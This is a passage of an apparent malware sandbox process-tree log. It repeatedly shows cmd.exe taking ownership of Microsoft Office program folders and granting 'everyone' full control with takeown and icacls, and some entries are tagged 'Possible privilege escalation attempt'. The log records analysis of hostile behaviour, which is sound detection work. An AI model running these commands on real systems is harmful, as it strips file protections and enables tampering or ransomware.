  2⤵
  PID:4292
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Templates\1033
    3⤵
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Templates\1033\GettingStarted16 && icacls C:\Program Files\Microsoft Office\root\Templates\1033\GettingStarted16 /grant everyone:(f)
  2⤵
  PID:4972
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Templates\1033\GettingStarted16
    3⤵
    PID:3860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Templates\1033\ONENOTE && icacls C:\Program Files\Microsoft Office\root\Templates\1033\ONENOTE /grant everyone:(f)
  2⤵
  PID:2692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Templates\1033\ONENOTE
    3⤵
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Templates\1033\ONENOTE\16 && icacls C:\Program Files\Microsoft Office\root\Templates\1033\ONENOTE\16 /grant everyone:(f)
  2⤵
  PID:2904
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Templates\1033\ONENOTE\16
    3⤵
    PID:4760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Templates\1033\ONENOTE\16\Stationery && icacls C:\Program Files\Microsoft Office\root\Templates\1033\ONENOTE\16\Stationery /grant everyone:(f)
  2⤵
  PID:4940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Templates\1033\ONENOTE\16\Stationery
    3⤵
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Templates\Presentation Designs && icacls C:\Program Files\Microsoft Office\root\Templates\Presentation Designs /grant everyone:(f)
  2⤵
  PID:4836
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Templates\Presentation Designs
    3⤵
    PID:4368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs && icacls C:\Program Files\Microsoft Office\root\vfs /grant everyone:(f)
  2⤵
  PID:4104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs
    3⤵
    PID:5016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\Common AppData && icacls C:\Program Files\Microsoft Office\root\vfs\Common AppData /grant everyone:(f)
  2⤵
  PID:4308
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\Common AppData
    3⤵
    - Possible privilege escalation attempt
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft && icacls C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft /grant everyone:(f)
  2⤵
  PID:2552
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft
    3⤵
    PID:5108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE && icacls C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE /grant everyone:(f)
  2⤵
  PID:4404
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE
    3⤵
    PID:3528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat && icacls C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat /grant everyone:(f)
  2⤵
  PID:3644
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat
    3⤵
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help && icacls C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help /grant everyone:(f)
  2⤵
  PID:1580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help
    3⤵
    PID:3800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\Fonts && icacls C:\Program Files\Microsoft Office\root\vfs\Fonts /grant everyone:(f)
  2⤵
  PID:4824
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\Fonts
    3⤵
    PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\Fonts\private && icacls C:\Program Files\Microsoft Office\root\vfs\Fonts\private /grant everyone:(f)
  2⤵
  PID:4196
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\Fonts\private
    3⤵
    PID:4176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64 /grant everyone:(f)
  2⤵
  PID:3636
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64
    3⤵
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\DESIGNER && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\DESIGNER /grant everyone:(f)
  2⤵
  PID:2396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\DESIGNER
    3⤵
    PID:1124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared /grant everyone:(f)
  2⤵
  PID:4352
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared
    3⤵
    PID:2432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW /grant everyone:(f)
  2⤵
  PID:3200
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW
    3⤵
    PID:4712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION /grant everyone:(f)
  2⤵
  PID:2252
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION
    3⤵
    PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION\1033 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION\1033 /grant everyone:(f)
  2⤵
  PID:1464
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EQUATION\1033
    3⤵
    PID:5044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EURO && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EURO /grant everyone:(f)
  2⤵
  PID:2064
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EURO
    3⤵
    - Possible privilege escalation attempt
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Filters && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Filters /grant everyone:(f)
  2⤵
  PID:1476
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Filters
    3⤵
    PID:4284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT /grant everyone:(f)
  2⤵
  PID:2772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT
    3⤵
    PID:224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Help && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Help /grant everyone:(f)
  2⤵
  PID:3188
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Help
    3⤵
    PID:668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16 /grant everyone:(f)
  2⤵
  PID:1516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\1033 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\1033 /grant everyone:(f)
  2⤵
  PID:3996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\1033
    3⤵
    PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Cultures && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Cultures /grant everyone:(f)
  2⤵
  PID:2288
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Cultures
    3⤵
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel /grant everyone:(f)
  2⤵
  PID:4836
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel
    3⤵
    PID:436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Cartridges && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Cartridges /grant everyone:(f)
  2⤵
  PID:4104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Cartridges
    3⤵
    PID:2888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources /grant everyone:(f)
  2⤵
  PID:3708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources
    3⤵
    PID:4228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources\1033 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources\1033 /grant everyone:(f)
  2⤵
  PID:3244
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources\1033
    3⤵
    - Possible privilege escalation attempt
    PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\en-us && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\en-us /grant everyone:(f)
  2⤵
  PID:1868
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\en-us
    3⤵
    PID:460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller /grant everyone:(f)
  2⤵
  PID:2096
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller
    3⤵
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller\Office.en-us && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller\Office.en-us /grant everyone:(f)
  2⤵
  PID:376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Office Setup Controller\Office.en-us
    3⤵
    PID:3392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\PlatformCapabilities && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\PlatformCapabilities /grant everyone:(f)
  2⤵
  PID:4824
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\PlatformCapabilities
    3⤵
    - Modifies file permissions
    PID:4176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\PROOF && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\PROOF /grant everyone:(f)
  2⤵
  PID:4256
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\PROOF
    3⤵
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag /grant everyone:(f)
  2⤵
  PID:908
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag
    3⤵
    PID:4288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\1033 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\1033 /grant everyone:(f)
  2⤵
  PID:4376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\1033
    3⤵
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS /grant everyone:(f)
  2⤵
  PID:3936
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS
    3⤵
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033 /grant everyone:(f)
  2⤵
  PID:8
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033
    3⤵
    PID:4464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Source Engine && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Source Engine /grant everyone:(f)
  2⤵
  PID:4100
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Source Engine
    3⤵
    PID:4564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV /grant everyone:(f)
  2⤵
  PID:5024
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TEXTCONV
    3⤵
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16 /grant everyone:(f)
  2⤵
  PID:1440
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16
    3⤵
    - Possible privilege escalation attempt
    PID:4840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AFTRNOON && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AFTRNOON /grant everyone:(f)
  2⤵
  PID:3240
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AFTRNOON
    3⤵
    PID:3468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ARCTIC && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ARCTIC /grant everyone:(f)
  2⤵
  PID:1128
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ARCTIC
    3⤵
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AXIS && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AXIS /grant everyone:(f)
  2⤵
  PID:2788
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AXIS
    3⤵
    - Possible privilege escalation attempt
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLENDS && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLENDS /grant everyone:(f)
  2⤵
  PID:4704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLENDS
    3⤵
    PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUECALM && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUECALM /grant everyone:(f)
  2⤵
  PID:2388
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUECALM
    3⤵
    PID:396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUEPRNT && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUEPRNT /grant everyone:(f)
  2⤵
  PID:4232
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUEPRNT
    3⤵
    PID:4496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BOLDSTRI && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BOLDSTRI /grant everyone:(f)
  2⤵
  PID:3556
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BOLDSTRI
    3⤵
    PID:4692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BREEZE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BREEZE /grant everyone:(f)
  2⤵
  PID:3428
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BREEZE
    3⤵
    PID:4228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CANYON && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CANYON /grant everyone:(f)
  2⤵
  PID:2300
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CANYON
    3⤵
    - Modifies file permissions
    PID:1120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CAPSULES && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CAPSULES /grant everyone:(f)
  2⤵
  PID:4708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CAPSULES
    3⤵
    PID:5032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CASCADE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CASCADE /grant everyone:(f)
  2⤵
  PID:4404
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CASCADE
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\COMPASS && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\COMPASS /grant everyone:(f)
  2⤵
  PID:2448
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\COMPASS
    3⤵
    PID:620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE /grant everyone:(f)
  2⤵
  PID:4348
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE
    3⤵
    PID:720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\DEEPBLUE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\DEEPBLUE /grant everyone:(f)
  2⤵
  PID:2956
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\DEEPBLUE
    3⤵
    PID:4992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECHO && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECHO /grant everyone:(f)
  2⤵
  PID:1912
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECHO
    3⤵
    PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECLIPSE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECLIPSE /grant everyone:(f)
  2⤵
  PID:2184
- - C:\Windows\system32\takeown.exe
